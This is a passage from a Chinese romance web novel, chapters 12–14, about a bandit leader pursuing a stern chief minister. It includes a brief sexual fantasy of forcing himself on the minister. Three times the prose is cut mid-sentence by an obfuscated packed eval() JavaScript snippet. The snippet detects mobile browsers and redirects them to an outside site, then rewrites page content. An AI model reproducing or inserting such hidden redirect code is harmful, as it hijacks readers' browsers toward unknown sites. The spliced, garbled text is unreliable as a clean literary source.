回到芙蓉山后。
胡斯一看见他,忙道:“老大,镖局说你没去那边,那你这几天去哪了?”
“怎么脸色这么难看?”胡斯愣了愣,随后看到他胸口的血迹,心下一惊,“老大你身上伤谁弄的?!”
陆峥安脱下外袍甩在地上,语气沉着:“小伤,别担心。老二你替我打盆水来,我受伤的事先别告诉陈飞他们。”
然后,“唰”一声,内力至来,房门紧闭而上。
高大的人影瞬间消失在里面,只留下黑色的一抹衣角。
陆峥安坐在床边,一点点掀开沾在里衣胸膛上的布料,饱胀的肌肉上破了一个血洞,周边是烂掉的皮肉和血渍,血糊糊的让人看了害怕。
伤口因为很久不处理,浓稠的血渍粘在了胸口的里衣布料上,掀开的时候牵扯出伤口周围的皮肉。
按理说撕开皮肉的疼痛不是一般人能忍受得了的。
但他全程没有吱一声,连眉头都没皱一下。
对于他这样受伤成了家常便饭的人来说,这些都是小事,但脸上的郁结却摆着,这次非比寻常,不然也不会一直挂着脸。
直到胡斯敲门,给他打了一盆热水来,看见他在处理伤口,便怒了:“老大,这谁啊下手这么重!直接往心口捅,看着还是剑伤。”
拿出帕子沾水小心翼翼给他擦拭伤口,看着血淋淋的伤口眼睛都红了:“让我胡斯知道是谁,非给他活剐了!”
“呵。”黑漆漆的桃花眸子里闪过一抹嘲弄,陆峥安拿过他手上汗巾,从铜盆里沾了点水开始擦伤口边缘的血渍,“老二你先出去吧,我自己来。”
胡斯犹豫了一下,见他面色沉着低头沉默不语,只能依稀看到他浮现阴霾的眉宇。
边走边不安地回头:
“那、老大有事记得随时叫我。”
……
不知过了多久,桌上零零散散的瓶瓶罐罐东倒西歪摆了一桌,直到干净清澈的水彻底红了一片,洁白的汗巾也沾满了血迹。
陆峥安一把将沾满血迹的巾帕扔进铜盆,身体往后仰倒,双手交叉,交叠着一双长腿,躺在了床上。
黑漆漆的桃花眸子沉着一片湖水。
湖水波澜不惊,却暗含涌流。
胸口的伤因为他的动作好像又渗出了一点血迹,浮现在白色的布帛上。
这些只是皮肉之苦,远抵不上心里的情绪。
事情是怎么一步步变成这样的?
在狱中,一开始他是带着一点气的,他并没有真的想轻慢他,可当那如刀子一样的话刺进他心里的时候,他还是情绪失控了,说出了很多言不由衷的话。
他来景都之前想的是,对那个人,怎么着,都应该温柔以待、宠爱呵护的。
可现在他开始思考,这些真的值得吗?一个对自己全是偏见、只有厌恶的人,无论自己做什么,他都不会信。
可为什么,思及那双艳丽的眼睛,他就心悸的不行,脑中根本无法挥去那清冷如雪的身影。
那人一巴掌打过来的时候,冷艳的眼睛里的怒意磅礴又冰冷,手上掐着他脖颈的力道用力又精准,那股上位者的气息扑面而来,浑身的气势又美又惊人,就像是高山上怒意磅礴盛开的雪梅。
炙热从小腹处传来,他发现自己居然起了反应,仅仅只是想起对方一个眼神。
某些不合时宜又反应内心的想法渐渐让他眼里浮现一抹红。
当他对自己冷言冷语的时候,他是真想将他按在草席上,臀耸腰推、大力挞伐,让他只能迎合又无措地哭泣,狠狠碾碎这高傲又冷漠的雪梅,让他只为他而绽放,看他还敢不敢对自己恶语相向。
不知过了多久,呼吸急促之间,手上沾染上一片腥腻。
他不由得笑出声来,捋了把头发,眼里满是嘲讽。
啧。
他现在可真像一个求而不得、只敢背地里臆想的卑劣小人。
太阳西斜,晌午的光晒到了芙蓉山上,给这个偏僻寂静的山寨镀上了一层柔和的金光。
门外响起胡斯试探的敲门声:
“老大,该吃午饭了。”
陆峥安睁开眼睛,声音有些喑哑:“进来吧。”
房门“吱呀”一声被打开,胡斯端着称得上是丰盛的几盘菜还有一壶酒上来了。
等陆峥安坐到了桌边,他布好碗筷后,坐在桌边给二人倒了一碗酒:“一起喝点?老大?”
“行啊。”陆峥安夹了一筷子辣椒炒肉,刚准备放进嘴里被胡斯拦住。
迎着他不解的目光,胡斯笑了笑:“伤口还没好,别吃辣的。”
将他手下的小米粥挪给他:“吃点清淡点的。”
陆峥安抬眉看了他一眼,拿筷子敲了敲碗边缘:“婆婆妈妈的。”
但也没拒绝,拿起碗喝了一大口。
胡斯嘿嘿笑着挠了挠头,看见他喝下小米粥,放下心来。
“干。”陆峥安拿起碗和他碰了一杯,酒液倾洒下来,二人都一饮而尽。
空气寂静了片刻后,兀地一下——
“老大,你是不是有喜欢的人了?”
陆峥安喝酒的动作顿时停住,漆黑的眸子凝固了一下,倏然抬头看着他,然后夹了块咸菜拌粥,脚踢了他一下,不咸不淡地轻笑一声:“从哪看出来的?”
“那天你拉着我屋檐上喝酒,你问我喜欢一个人到底是什么感觉,我就猜出来了。”
“你当时没喝醉?”
“醉了,但老大你说的每句话我都会认真听,喝醉了也会听。”
那黝黑的大汉,憨厚的脸上是少见的认真和专注。
陆峥安静静看着他脸上认真的神色,一时之间有些不知道说什么。
他和胡斯结识于江湖。
那时候,胡斯还不是草莽,只是一个认认真真卖猪肉供养家中生病老母的老实人,可官逼民反,只因为他少交了一点摊位费,就被当地的小衙役为难,刚开始胡斯都笑着忍了,每次那个衙役来拿猪肉他不仅不要钱还给他包好一根猪肋骨送他吃,可那衙役变本加厉,一次因为他晚交了几天钱,那衙役一把将和他争执的胡斯母亲推倒案上,导致八旬老妪当场而亡,一直隐忍的老实人就爆发了。
当时胡斯将那衙役狠狠按在菜刀边,毫不犹豫地割下了他的头颅,血溅三尺也洗不掉他的愤怒和颤抖。
当时所有街坊邻居都不明白,为什么平时看着这么老实的一个人,发起怒来会跟发疯一样,拉都拉不住。
不出意料地他被抓进了大牢里等候秋后问斩,当时陆峥安去买肉才从别人口中得知胡斯被抓入狱的事,得知事情经过后,他毫不犹豫带着所有兄弟劫了法场,从此胡斯便跟在他身边,对他死心塌地的,说什么都听,让他干什么就干什么。
平时看起来傻乎乎的,可只有陆峥安知道,胡斯其实是至纯至善的一个人,非但不傻还很通透。
“老大,我虽然不知道你喜欢的人是谁,但无论你喜欢谁,是男是女,我都会支持你。”胡斯放下筷子,“只是你要是有什么不开心的事,一定要和兄弟说,我胡斯没了老娘后,就剩下你和芸娘两个最重要的人了,我希望你们都能过得开心。”
他看了眼陆峥安渗出血迹的伤口,眼里是藏不住的关切:“两个人有话一定要好好讲,有矛盾也要好好解决,但千万别动粗伤着对方,互相包容理解,过日子不就这样的吗?相处有矛盾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025619|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很正常,但应该讲究沟通方式。”
陆峥安无奈一笑,往后靠在椅子上,手指摊开敲了敲桌子:“你是不知道,他生起气来八匹马都拉不住,说啥都不信,还沟通,没给我活剐了就不错了。”
——事实上不仅是活剐,是真的想将他杀之而后快。
“这脾气不和芸娘一样吗?”
胡斯愣了。
“行了。”陆峥安站起身来,将床上外套披在肩上,“我去山下镖局看看,好几天没去了。”
“老大——”胡斯还想说些什么,担心地看着他。
“我没事。”陆峥安拍了拍他的肩膀,“你这么大个子,别成天心比我还重,放宽心。”
“那老大,你什么时候带他来给我们看看?”
身后沉默了很久。
然后嗤地,不以为然道:
“带个屁,人家又不待见我,你老大我英俊潇洒,什么人找不着?非得要热脸贴冷屁|股?”
胡斯:……
高大的人影消失在门口,只留下被夕阳照射下的余晖。
……
到了山下后,陆峥安去完镖局照常和总镖头交接了一下,让他把年后去江南鹭洲的镖接下来,准备回去之后便安排众兄弟年后开始干活了。
然后又去了赌坊玩了两把牌,可谁知刚进赌坊,便看到一个熟悉的人。
他神色顿时一沉,丢下手中的筹码,一把将那人肩膀抓住,那藩子不耐烦骂骂咧咧地扭过头,然后看见是他愣了一下,然后迅速反应过来:“怎么是你?”
“爷爷找了你好久了!”陆峥安用力在他肩胛骨上一按,那卖马的番邦子脸上立马浮现痛苦神色,陆峥安掐住他肩膀将他用力掼在赌桌上,一双桃花眼又沉又冷,“我玉佩呢?”
“什么玉佩……啊啊啊!”那番邦子刚开始还想装傻,随之肩胛骨碎裂的噬骨疼痛顿时让那个番邦子惨叫出声,不敢再隐瞒,“我说我说!饶命饶命!痛死我了!”
一场闹剧结束后。
陆峥安从赌坊走了出来,脸上的表情却一扫之前的阴霾。
一块通体雪白莹润、精巧绝伦的刻着“沈”字的玉佩,被他用红绳系起来,指尖一圈圈缠绕着红绳,怕再次弄丢,被他牢牢地缠在了手腕上。
那番邦子的话回响在耳边:
“之前偷到你的玉佩后,我看成色非比寻常没舍得当,就打了几块一模一样假的玉佩,去妓|院的时候送给那些小妓玩了,谁知道没几天就有官府找了来,说是一个高官大人的贴身玉佩,还好我找的人以假乱真的技术好,不然这块真玉佩我也留不住了。”
眉间攀上一层了然。
心中一直萦绕的迷雾终于拨开来,显露出真相来。
——难怪,难怪他说自己是流连花丛的无耻之徒,怎么解释都不信,原来有这层误会在啊。
也就是说,他是因为误会他把玉佩随便送出去了还送给了风尘女子,觉得他对他不尊重,所以才生气了。并不是因为真的看不上他,也是因为这个原因才对他破口大骂、言辞冷漠的。
这误会可大了啊。
随即,嘴角不由得勾起一抹笑来。
像是驱散了乌云的晴光,畅快起来。
他要去见他,和他当面解释。
足尖轻点,朝着西北的景都而去,英姿飒爽的身影顿时飞上屋檐,像展开翅膀的大雁。
没走两步,却又突然想起胡斯的话来。
“两个人相处难免会产生矛盾,但也得讲究沟通方式。”
不对,在正式见面之前,他应该去取取经。
……
于是,本来要去和媳妇赴约的胡斯被陆峥安抓到了房间里面。
那平日里玩世不恭、放荡不羁的男人,岔开腿往椅子上一坐,靠在椅背上,一脸认真地问他:
“教教我,你当初怎么追到芸娘的?”
胡斯:“……”
神色难辨、有点无语。
……白天不是还说自己不会一颗树上吊死,更不是那种喜欢热脸贴冷屁|股的人吗?
我看你可太是了啊!
13. 重逢
“什么?你说沈卿钰真去了江南?!”
景都城西苑一处私人宅院里,傅荧捏着茶盏,朝座下太监失声问道。
随从太监跪在地上:“是的,自圣上旨意下达之后,您之前让属下留意他的去向属下守了一夜,今早沈大人就已出发,同去的还有户部侍郎韩大人、督查府李大人,一群人已经走了一个多时辰了。”
“这个混蛋!!”傅荧扔下茶盏,挥袖朝桌上用力一扫。
才得的琉璃仙彩明珠瓶被他扫到地上,“哗啦”一声,精美华贵的花瓶顿时碎裂,瓷片散了一地。
“他就非要和我过不去了?还是说要报复我把他解药给弄没了?”
他气喘吁吁地撑在案边,漂亮光滑的脸就像剥了壳的鸡蛋,此刻却因为愤怒而涨得满面通红,腮如桃染。
“闲的没事去查什么江南织造署!还说什么拨粮赈灾治理水患,要查贪|污,两京十三省他就没别的地方可查了吗?非要去江南!”
“不是存心和我过不去是什么?!一而再再而三的和我作对!当上首辅后,更不把我放眼里!上次还公然在酒楼里提着剑说要杀了我!”
想了想不由得有些后悔:“早知当时不让他看那个屏风了,没得引他猜忌,现在还真找了个理由来查我了!”
思及那日沈卿钰在浮云楼对他说:“江南那笔账,我会和你慢慢算。傅荧,你最好是祈祷别被我抓到。”
就气的不行:“我爬上来容易吗?得到的这些哪个不是我应得的?那些贱民是死是活跟我有什么干系!生为草芥就是被人践踏的命怪得了谁?”
骂累了还喝了口茶,然后继续骂:“我难道就是大富大贵人家出来的吗?好笑,从小被卖到净房谁又来同情我了?他们自己不往上爬怪得了谁?!这沈卿钰就是见不得我好过!是不是非要人人像他一样,粗茶淡饭、清贫如洗、餐饮夕露才开心!有病吧他!”
那下属安抚道:“大人别动气,不值得。那沈卿钰一向如此,自朝中任职以来,心比天高,查案整治、铁面无私也不是只对您如此,这些清流总是一副以天下为己任的样子,私底下指不定玩的比谁都花,也没高贵到哪去。”
傅荧顿住神色,思及沈卿钰身上中的毒,幸灾乐祸地笑了:“这倒也是,中了醉生梦死,以男子之躯阴阳颠倒,还和一个江湖草莽不清不楚,说来也是滑稽。”
“大人,我们要不要趁机把这个消息传出去?听说前几日他还亲自将那匪寇抓到牢中,二人还起了争执。只要这个消息传出去,看那沈卿钰在清流之中还能如何有一席之地。”那侍从心生一计。
“不可。”傅荧沉思,“毒老鬼死在谁手中的你忘了?若是这件事传出去,我们也捞不着好处,没得还要引起寿熹那老东西猜忌。”
他说的在理,现如今的内阁内书房里表面一团和气,实则秉笔和掌印之间却暗中争斗,尤其以装作听话乖顺的傅荧为首,和寿熹有私仇的傅荧恨不得时时刻刻将他拉下马自己上位,难说其他秉笔们不抱有同样的心思。
“大人,那殿下那边呢?”那侍从给他又沏了一杯,询问道,“咱要不要告诉太子,让殿下拦着他,那江南制造署背后的当家可是殿下的门生。”
傅荧饮下一口茶,琉璃珠一样的眼睛波动了几下,想到那猜不透心思的人对他说:“臣心如水*,香满不及,过刚易损。”
“殿下没有明说。”
傅荧摔下茶盏:“再说太子纵容他也不是一两次了,对他那个态度、眼里根本容不下旁人的样子。”哼了一声,“司马昭之心路人皆知,就差明示了。”
然后有些不平:“真不知道那个顽固不堪的臭石头有什么好的这么多人喜欢他,小时候师父就偏心他不偏向我。因为那张脸?论脸,我也不比他差啊,也没见有人围着我转,就连个江湖草寇只是见过他一面,也被他迷的找不着边,大老远跑景都来吃牢饭。”
那侍从谄媚地给他捶腿:“您可比他好看得多,他冷冰冰的看着就不讨人喜,这些人都瞎了眼了真的是。”
傅荧颇为受用,刮去茶盏浮沫道:“这些都不重要了,殿下那边还是要去通报一声,早早想出应对之法。”
还没等他想办法,门口下人却通报道:
“大人,太子那边来人了,说要来见您。”
*
沈卿钰动身之前便找过师父,说来此行也是在他和顾太师的商讨之下达成的结果。
以傅荧为线,查出江南那边的隐情,涤清那边的吏治,这也是他上任以来做的最多的事。
他说过江南这笔账要和傅荧慢慢算绝不是仅仅只是威胁,而是真的要和他清算。
江南一带一向富饶,可今年还是有许多地方百姓过冬冻死,官贾却肥的流油,压低粮价欺压百姓,已经有好几波百姓因为田地被占、雪灾饥荒,来景都首辅府上、太师府中伸冤了。
坐在马车上,他回想起离开景都之前太子亲自找上他的那天。
温泽衍并没有阻拦他此行,全程没有提及一句江南之行,反而一如既往地对他温语脉脉、言辞关切。
叮嘱他路上小心风霜,还问他需不需要帮助,他可以派一批信得过的人协助他,只是协助让他不必有压力。
言辞恳切的太子端坐在轮椅之上,眉宇皆是一片温和,儒雅的脸上是不掩饰的关心,似乎真的拿他当一个朋友看待,毫无太子架子。
沈卿钰不喜他。
很大一部分原因是因为,他觉得他看似温和的表面下实际上隐藏着深不可测的城府。
他也知道织造署背后的势力就是太子,可事实上若对方有备而来,他就算查也只能查到替死鬼。
可不管结果如何,此行他都会竭尽全力。
看着马车榻边被他放置一旁的玉佩,他眼神冷漠。
那块玉佩是太子临行前塞给他,让他务必带在身边的,说是可以辟邪。
犹记得他走之时,那人拉住自己的衣袖,顺着他手臂一直滑落到他手腕上,不容拒绝地将玉佩塞到自己手中的情形。
他下意识想挣开他,可对方却没有松开他的手腕,而是牢牢抓着他。
像要把他钉在手上的力道。
他垂眸去看,只能看到苍白又有力的手上微微鼓起的青筋,就好像即将破笼而出的禽,有着不同于以往的强势。
他皱起眉头,然后去看向那人的脸。
只消片刻,那神情莫辨的脸很快恢复成一派温润谦和的样子,就好像刚刚一切都是他的错觉。
那双清润的眼睛里,倒映着他全部的身影,专注又带着深意地、一眨不眨看着他。
玉佩便进入了他袖中。
轻若孤鸿的声音:“阿钰,别拒绝我。”
思绪回转。
他眼中一片冰冷,用眼角撇了一眼那个被他扔到一旁的玉佩。
——无论太子对他有何种心思,他都厌恶万分,也懒得去猜想。
眼下时局复杂,行路上舟车劳顿,本应无暇去顾及其他。
可他这几日辗转梦中,竟然几次出现牢狱中那双澄澈如洗的眼睛,还有之前查过的那些卷宗上刻的密密麻麻的字。
心绪跌宕起伏,说不出是为何。
冥冥之中,事实告诉他,即便再不愿意承认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025620|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
那天他确实算得上是被救了。
段白月说过,醉生梦死只能由旁人来解,如果不管不顾,他真的会有性命之忧。
而对方也并非他误会的那种流连花丛的无耻之徒。
找回来的玉佩也是个假的,去青楼的其实另有其人。
……
一切的一切……
他眼中划过一丝少有的迷茫。
他是不是……真的对他有偏见?
可这些,已经不重要了。
他想,他们之间,应该再无见面的机会了。
可连他自己都没注意到的是——
那块刻着“陆”字的玉佩不知何时被他带到了身上。
此刻在他袖中正安安静静地躺着,流淌着柔和的光。
*
可没想到刚到江南第一站鹭洲就遇到了问题。
刚下的大雪封了山,去往鹭洲的官道上被积雪堵住了。
这山头离地方官府大约八十余里,即便他们去传信,等信到了地方官府越过山头赶过来前前后后还需要大约一周的时间。
按理说他们在山脚下等等也不是不可以,反正去江南不急,但今早沈卿钰一个人站在山前看了一早上,便决定要在地方官府赶过来之前,先把封山积雪和路口的大块碎石给清了。
是先清封山的积雪,而不是官道上的。
随行的户部侍郎韩修远问他:“为什么啊子瑜?不应该把官道上的先清了吗?不然我们怎么走?”
那身姿如雪的人静静立在积雪重重的山前,指着山脚下的几户零星村民居舍,开口道:
“韩大人你看,这些山脚下村民,有的是樵夫、有的是猎户,就靠着上山打猎、替户主砍柴谋生,他们干一周的活计也只能赚到不到一钱银子,如果不清理山口积雪,他们将一周都没有活可干。”
“我们清好官道走了,他们只能等地方官府来,没有我们督促,这些地方官府真的会来吗?”
韩修远脸色也变得沉重起来,叹了口气,恭敬地朝沈卿钰拱手行了个礼:“还是沈大人思虑周全,万事以民为先,韩某受教了。”
“不是我思虑周全,是你们想的太少了。”沈卿钰面凝寒霜,“今年大雪苦寒,路多冻死,寻常百姓过冬是一件生死攸关的大事,如我们此行不能解决实事,那么将毫无意义。”
韩修远肃穆:“五体投地,五体投地!受教!”
一旁的李大人却面露难色:“可沈大人,这鹭洲山何其之大,算上带来的侍卫,我们也不过数十人,就算叫上那些零零散散的猎户樵夫,得清到什么时候啊?”
周遭观望他们良久的山民不由得面露失望之色,摇着头互相说着什么。
沈卿钰蹙起眉头,神色也难辨。
就在这时。
一道懒洋洋的声音从重重掩映的树上响起:
“这不还有我吗?一个不够,我还有二十个,愿为沈大人效犬马之劳。”
沈卿钰转头去看。
只见不远处的梅树上,屈膝坐着一个身材高大、五官俊朗的男人。
此刻正笑盈盈地看着他。
注意到他的视线后。
从树上跳了下来,动作干脆利落。
随之树上的梅树枝条在空中晃了几晃,积雪簌簌落下。
前方是一片沉霭、大雪压山。
那身材高大人朝他伸出手来。
挡住身后的暮霭沉沉。
用低沉悦耳的声音说道:
“初次见面,久仰大名。”
“我叫陆筝,是天地镖局的总镖头。”
14. 试探
闻言,一片寂静。
韩修远和李大人都愣住了。
沈卿钰沉默不语,只是紧紧盯着眼前人的脸看。
来人比一般人还要高大一点,一张清秀英俊的脸,漆黑的眼睛清润透亮。
唯独嘴角的笑意和煦、又带着一丝无拘的洒脱,给他一种说不出来的熟悉感。
像极了那个——
倏然,瞳孔震颤。
沈卿钰睁大眼,视线一寸寸从他脸上挪到耳后根,并未看到人皮面具的粘贴痕迹,而且面前人的肤色也要更白一点,装扮是常见的江湖镖局的样式,胸口上印着“天地镖局”几个字。
虽然江湖味浓了点,但并不是他想象中的那个人。
“在下韩修远。”韩修远先是行了个礼,“陆侠士若愿意帮忙自是最好,只是不知侠士说的剩下二十个人现下在哪里?”
“陆筝”也就是陆峥安,朝后面摆了摆手。
配合他装大尾巴狼的陈飞默默在心里翻了个白眼,带着胡斯他们驶着镖车一起出来了。
约摸二十几个浩浩荡荡的人,各个身穿印着“天地镖局”的衣服,隐去脸上的“囚”字,陆陆续续从丛林雪山中走了出来。
“在下陈飞。”
“在下胡斯。”
……
一群人一一介绍过后,朝着沈卿钰抱拳行礼、齐声道:“愿为沈大人效犬马之劳。”
韩修远看着齐心协力的众人,眼睛眨了眨。
果真是——豪气冲天啊。
他犹豫道:“各位好汉义薄云天,只是此番清雪耗费诸多时间,怕是要耽误各位走镖,而且朝廷可能拿不出钱来给各位报酬,不知——”
“既是效力,自然不收取任何报酬,韩大人客气了。”陆峥安客观陈述着,“再说大雪不清,我们也没办法继续走镖。”
一双清亮的眼睛从头到尾没离开过沈卿钰身上,他笑道,“非要说什么原因,只是见到沈大人无私为民,心生敬仰,自发自感而已。”
然后他问:“不知沈大人,可愿接受陆某帮助?”
言语之间,俱是恭敬之态。
张弛有度、进退有礼。
既有江湖中人的洒脱,又有初见面的坦诚。
韩修远满意地点点头,和李大人一起征询地看向沈卿钰:“沈大人……”
那清冷如雪的人微微垂下眼睫,随后——
微微弯下松竹一样挺立的腰,朝面前众人拱手道:
“在下沈卿钰,表字子瑜,替山下村民,先行谢过诸位侠客。”
——初见他,除了胡斯,都以为,这位高高在上的首辅大人,会对他们的援助不屑一顾。
万万没想到的是,面前这个如霜清冷的人,远不是面上看来的那样高傲,心也并非冷漠如冰。
“沈大人客气了。”胡斯咧着笑,不好意思挠了挠头,“文化人说起话来就是好听哈。”
指着前面山路,陆峥安朝沈卿钰示意道:“沈大人不若跟我先去前面看看情况,然后再回来和诸位大人商量一下清雪对策?”
沈卿钰并没有纠结,朝前迈步:“既如此,劳陆兄前方带路。”
听着他喊的“陆兄”,陆峥安觑着眸子,不知是什么滋味儿,舌尖抵了抵腮帮子。
陆兄就陆兄吧,比无耻之徒好听的多。
这怎么不算是一种进展呢?
等二人到了前方雪封住的山路,沈卿钰才发现。
已经有陆陆续续的人开始清理了。
有的人在撒盐,有的人在铲雪,有的人在搬碎石和压倒的树枝。
来来回回的脚印交错,还有路上来回印了几道的车辙印。
而这些人,衣服上都印着“天地镖局”的字。
沈卿钰默默看着,一双清凌凌的眸子里流淌着不知名的情绪。
他动了动手指,轻轻问道:
“刚刚陆兄说你们走镖也要清雪,在我们来之前各位便已经开始了吗?”
和他并肩的陆峥安说道:“是的,在你们来之前,已经清了一个时辰了。”
沈卿钰垂下眼睫,神色不明。
“为何不先清官道而是先清山路?官道可比山路好走,而且更好清。”
“那你为什么不先清理官道?”
沈卿钰默了片刻,转过头看向他,静静不言语。
一向凌厉的眸子此刻变得平和起来,甚至有些迷茫。
盛着光华,像一颗上乘的黑玉。
陆峥安忍了几下,才忍住用手抚上去的冲动。
轻轻道:
“因为我们想到一起去了。”
“沈大人,我们都是为了那些山民在清雪,对吗?”
一双清澈的眸子笃定万分。
随后——
带着冷意的声音传来:“把你手拿开。”
陆峥安垂眸看着不知何时搭到了他肩膀上的手,松开手。
挑了下眉,无奈一笑:“抱歉,平时和他们勾肩搭背习惯了。”
远远跟在他身后的胡斯有些费解,小声问旁边陈飞:“老大平时也不和我们勾肩搭背啊?他不是最烦我们跟他勾肩搭背的吗?嫌我们不洗手。”
陈飞看智障一样看着他:“什么都不懂,你怎么追到芸娘的?”
李重闷笑一声:“芸娘看中他的不就是他老实吗?”
胡斯:“……”他才不会告诉他们,前几天老大还来向他取经了,虽然最后还是作罢了,说感情这事千人千面,不是能复刻的了的。
然后他问:“那清完雪,咱这镖还走吗?”
陈飞:“走个屁,你没看见老大看见人都走不动道了吗?还走镖。”
李重:“少年怀春、春心萌动嘛,人之常情人之常情。”
然后道:“镖咱自己先走呗,让老大先忙追媳妇的事。”
陈飞:“李重,你说沈大人这样的人物,看得上咱老大?一个土匪?”
胡斯不高兴了:“怎么就看不上咱老大了?老大多英俊,配沈大人刚刚好。”
陈飞:“对牛弹琴是吧?咱说的是一回事吗?”
李重一人拉一个,止住他们又要争执的势头:“行了行了,在这节骨眼上吵架你们是嫌自己命长是吧?让老大知道了信不信晚上吃不了兜着走?再说看得上看不上的,咱说了不算,得问沈大人。”
“眼下的事,先清完雪再说。”
……
沈卿钰这边看完情况后,便和韩修远、李大人几人商量完陆续的清雪事宜,一行人便开始行动了起来。
沈卿钰和陆峥安为一队,清理山路上的积雪;韩李二人则带着几个侍从,负责清理官道上的积雪。
满打满算下来,根据现有情况,原本需要半个月才能完成的事,因为有了陆峥安等人的帮忙,只需要三日便可以清理完。
只是晚上的住宿便成了问题。
沈卿钰和陆峥安本打算就在各自马车上将就几晚上,加上自己带的干粮,足够应付过去了。
但是那些村民却自发组织起来了。
许是见到他们这群人如此竭力帮助,在村长的号召下,村民们热情地留他们务必宿在自己家中,还要请他们喝热汤。
老村长眼含热泪:“沈大人,还有这位陆侠士,我们是真的感激你们啊。以往大雪封山,哪有朝廷管我们这群山民的死活,光是雪灾,就冻死多少人,封路后大家平时上山的伙计都断了,日子是一年比一年难捱,还好有诸位帮忙。还请沈大人万万不要拒绝我们的好意,这大雪天的你们住马车上,万一冻着着凉怎么办啊?”
一众村民无不附和。
沈卿钰蹙起眉头,几番思索,道,“依大棠律法,官不可扰民,借住怕是不妥。”
那村长急了忙说怎会怎会,更加坚持了。
陆峥安捏了捏下巴,咂摸道:“若是老村长您实在想帮忙,那就请问问诸位家中此前曾聚集到一起清过积雪的青年,能不能跟着我们一起、听我们安排,这样就可以早点完成,我们也就可以早点走了。”
老村长连连称好,召集了一大堆人,过来一起帮忙。
只是到最后,还是想请他们晚上一起到他家中喝口热汤。
实在是拒绝不了他的热情邀请,晚上忙完后,一行人便就这样来到山脚下的村长家里。
热汤是南方的糊面汤,不是什么特别稀有的食材,但这已经是这群淳朴的村民能拿出的最大诚意了。
忙了一天后,一碗下去,确实驱寒。
白天一起干活的陈飞几人和韩修远他们就这样热络地聊了起来。
韩修远算得上是朝廷里面没什么官架子的人了,为人也比较谦和有礼、张弛有度,再加上年岁相当,所以和陈飞他们也算聊得来;李大人年纪稍大一点,话很少,只是静静在旁边抚着胡须笑。
等陆峥安去看的时候,便看到这几人不知何时搬来了马车里的酒,和那些村民们,一同推杯换盏了起来。
他摸了一坛酒,去找沈卿钰。
抬头,正好看到矮矮的土泥屋顶上默默坐着喝酒的他。
雪白的衣角迎风而飞,面前的人依旧是清冷如雪,只是在这片喧闹之中,显现出一点孤寂的感觉来。
不消思索,他飞身上去。
坐在沈卿钰旁边:“怎么一个人喝酒?”
拍开封泥,和他碰了一下:“我陪你一起。”
沈卿钰拿起酒坛,没有扭捏,迎着他碰了一下。
一口清酒下肚,嘴边留了些酒渍。
陆峥安就这样看着他,动作斯文、涵养极好地擦掉水渍,莹白如玉的手指修长又好看。
屋檐下是胡斯他们热络交谈的声音,喧闹嘈杂。
一旁的村长和村民,其乐融融地笑着。
陆峥安看着视线停在前方不说话的沈卿钰。
那张圣洁清冷的脸像是隔了一层雾,看不清他脸上的神色。
他托着下巴盯了他良久,然后问道:“沈大人在想什么?”
“在想明日从哪开始下手?”
“没有。”沈卿钰的声音情绪难辨,“我只是想,清完雪,他们的日子真的会变得更好吗?”
陆峥安静了片刻,敛眉道:“不会有很大变化,但能熬过这个冬天。”
“沈大人何须忧虑?”他提起酒坛,闷下一口,摊开手往后撑在屋檐上,指节懒懒地敲着酒坛罐子,“人只要活着,就会有希望,毕竟有所改善,总比什么都没变化要好得多。”
然后转头看他:“你说对吗?”
沈卿钰没回他。
而是默默又喝了一口。
寂静片刻后。
他转过头看向他,开口的声音清冷如雪:
“阁下是哪里人士?”
陆峥安没有瞒他:“栾安县。”
沈卿钰喝酒的动作一滞,倏然转头看向他:“栾安人?”
他声音变高:“你是栾安人?”
“怎么?沈大人是想起谁了吗?”陆峥安眸子变沉,不由收紧手,攥了下酒坛。
“没…有。”沈卿钰垂下眸子,转过头去。
空气又沉默下来。
“你在躲我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025621|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音变沉。
陆峥安紧紧盯着他脸上的表情,不放过一丝一毫,“沈大人除了我,在栾安县,还认识谁?”
他想问:你其实还记得我是不是?
沈卿钰迎着他的视线,伸进袖中的手不知何时摸到一块温凉的玉佩。
他心下一跳,这玉佩……他是何时带到身上的?
天上不知何时又下起雪来,周遭嘈杂的声音变得寂静起来。
依稀只可以闻得到呼吸声。
眼前人在追问他:
“沈大人为何不说话?”
在那双清亮的眼睛中,他看到了自己的倒影。
渐渐地、这双澄澈的眼睛渐渐汇聚成一个桃花的形状。
他瞳孔骤然一震。
视线从他脸上一寸寸挪到他耳后根,干干净净、没有任何刻字。
他果真认错人了是吗?
近乎是狼狈地、扭过头否认:“没有,我只是认错了人。”
陆峥安静静看了他半饷,几度攥紧了手掌,直到骨节都泛了白。
终究是没有选择继续追问下去。
气氛变得沉默起来。
突然。
